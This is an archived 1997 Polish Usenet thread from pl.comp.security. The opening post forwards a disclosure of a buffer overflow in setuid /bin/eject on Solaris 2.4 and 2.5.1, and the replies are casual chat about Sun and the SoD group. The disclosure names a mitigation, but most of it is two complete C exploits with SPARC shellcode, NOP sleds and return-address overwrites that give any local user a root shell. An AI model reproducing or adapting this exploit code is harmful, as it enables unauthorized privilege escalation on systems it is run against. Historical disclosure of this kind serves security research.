🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Thread View: pl.comp.security
5 messages
5 total messages Started by Piotr Skibinski Fri, 14 Mar 1997 12:46
dziura w eject w SOLARISIE
#674
Author: Piotr Skibinski
Date: Fri, 14 Mar 1997 12:46
177 lines
6286 bytes
Wynalazca tej dziury jest ponownie Schipor z Rumunii. Ciekawe
czy ten gosc nic wiecej nie robi poza badaniem wszystkich
programow z list find / -perm -4000 -print ?
W kazdym razie jest genialny :-) sa spore szanse, ze za
pare miesiecy nie bedzie juz zadnych dziur w Solarisie
dzieki niemu (o ile SUN nie wypusci nowej wersji ... )


Piotrek

--
_______________________________________________________________________
##### # ##### ##### ##### #####          Piotr Skibinski
#   # # #   #   #   #   # #         System and Network Manager        I
##### # #   #   #   ##### #####   Faculty of Electronics Engineering  R
#     # #   #   #   #  #      #    Warsaw University of Technology    C
#     # #####   #   #   # #####    http://www.ia.pw.edu.pl/~piotrs/
-----------------------------------------------------------------------

#######################################################################

From:	Cristian SCHIPOR <skipo@SUNDY.CS.PUB.RO>
Subject:      Exploit for buffer overflow in /bin/eject - Solaris 2.X -
              Security Hole

motto: "Mihai Eminescu was a good friend of Ion Creanga"

Thu  Mar 13 21:01:00 EET 1997  - Romania

"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can
gain root shell. So, to prevent /bin/eject exploit, you have to get out
suid-exec bit from /bin/eject (that's very simple) and compile a little
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}

That allows your work station ordinary users to eject floppy (thats the main
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where
it was installed some stuff to make inofensiv buffer overflows exploits ...

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try
http://www.math.pub.ro/security.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: skipo@sundy.cs.pub.ro, skipo@math.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

------------------------ banana24.c -----------------------------
/* For Solaris 2.4 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>

   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET 8
   #define SPARC_NOP 0xc013a61c

   u_char sparc_shellcode[] =

   "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0"/*\x20\x08"*/
   ;

   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }

   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;

   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;

   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf,(char *) 0);
   perror("execl failed");
   }
------------------------- end of banana24.c ------------------------

------------------------- banana25.c -------------------------------
/* Wrote for Solaris 2.5.1 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>

   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 400
   #define SPARC_NOP 0xa61cc013

   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;

   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }

   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;

   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf[1],(char *) 0);
   perror("execl failed");
   }
---------------------------- end of banana25.c ------------------------
Re: dziura w eject w SOLARISIE
#675
Author: Piotr K. Jankowski
Date: Fri, 14 Mar 1997 15:49
16 lines
1224 bytes
Piotr Skibinski (piotrs@lew.elka.pw.edu.pl) wrote:
: Wynalazca tej dziury jest ponownie Schipor z Rumunii. Ciekawe
: czy ten gosc nic wiecej nie robi poza badaniem wszystkich
: programow z list find / -perm -4000 -print ?
: W kazdym razie jest genialny :-) sa spore szanse, ze za
: pare miesiecy nie bedzie juz zadnych dziur w Solarisie
: dzieki niemu (o ile SUN nie wypusci nowej wersji ... )

Alez Piotrze SUN juz o dawna pracuje nad solarisem 2.6 .
Sadze ze opublikuje go gdy Schibor znajdzie wszystkie dziury.

				Piotr 



				
Re: dziura w eject w SOLARISIE
#676
Author: Adam Kubicki
Date: Fri, 14 Mar 1997 23:26
16 lines
1386 bytes
In pl.comp.sys.sun.admin Piotr K. Jankowski <coipkj@gemini.coi.pw.edu.pl> wrote:
: Piotr Skibinski (piotrs@lew.elka.pw.edu.pl) wrote:
: : Wynalazca tej dziury jest ponownie Schipor z Rumunii. Ciekawe
: : czy ten gosc nic wiecej nie robi poza badaniem wszystkich
: : programow z list find / -perm -4000 -print ?
: : W kazdym razie jest genialny :-) sa spore szanse, ze za
: : pare miesiecy nie bedzie juz zadnych dziur w Solarisie
: : dzieki niemu (o ile SUN nie wypusci nowej wersji ... )

: Alez Piotrze SUN juz o dawna pracuje nad solarisem 2.6 .
: Sadze ze opublikuje go gdy Schibor znajdzie wszystkie dziury.

: 				Piotr 
raczej stanie sie tak jak z HP i SoD

-adam
Re: dziura w eject w SOLARISIE
#677
Author: Sergiusz Pawlowicz
Date: Sun, 16 Mar 1997 19:43
7 lines
875 bytes
In pl.comp.security Adam Kubicki <mikee@galaxy.uci.agh.edu.pl> wrote:
: raczej stanie sie tak jak z HP i SoD

A co sie stalo z SoD?


--ser z holandii 
Re: dziura w eject w SOLARISIE
#678
Author: Adam Kubicki
Date: Sun, 16 Mar 1997 21:42
11 lines
1115 bytes
Sergiusz Pawlowicz <ser@arch.pwr.wroc.pl> wrote:
: In pl.comp.security Adam Kubicki <mikee@galaxy.uci.agh.edu.pl> wrote:
: : raczej stanie sie tak jak z HP i SoD

: A co sie stalo z SoD?

znudzilo im sie (dzieki auscertowi), a szkoda bo weselszych advisories
nie widzialem :) detale na ich www
Szkoda, swiat sie nie dowie o tych dziesiatkach bledow w HP ..

-adam
Thread Navigation

This is a paginated view of messages in the thread with full content displayed inline.

Messages are displayed in chronological order, with the original post highlighted in green.

Use pagination controls to navigate through all messages in large threads.

Back to All Threads